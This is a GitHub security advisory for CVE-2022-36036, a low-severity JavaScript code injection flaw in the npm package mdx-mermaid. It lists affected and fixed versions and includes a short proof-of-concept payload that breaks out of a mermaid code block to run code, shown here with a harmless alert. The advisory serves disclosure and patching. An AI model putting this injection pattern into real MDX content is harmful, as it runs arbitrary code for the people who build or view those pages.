GitHub Advisoryadvisory · npm
GHSA-rvgm-35jw-q628 Improper Control of Generation of Code ('Code Injection') in mdx-mermaid
LOW
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- Aliases
- CVE-2022-36036
- Ecosystem
- npm
- Packages
- mdx-mermaid
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
- Weaknesses
- CWE-94
- Reviewed
- 2022-08-31
Affected packages
• npm mdx-mermaid: < 1.3.0 → fixed in 1.3.0
• npm mdx-mermaid: >= 2.0.0-rc1, < 2.0.0-rc2 → fixed in 2.0.0-rc2
Description
Impact
Arbitary javascript injection
Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs
```
` + (function () {
// Put Javascript code here
return ''
}()) + `
```
The block below shows a valid mermaid code block
````md
```mermaid
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
````
The same block but with the exploit added
````md
```mermaid
` + (function () {
alert('vulnerable')
return ''
}()) + `
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
````
Patches
1.3.0 and 2.0.0-rc2
Workarounds
None known
Related
Alias · CVE (1)
- CVE-2022-36036 mdx-mermaid provides plug and play access to Mermaid in MDX. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness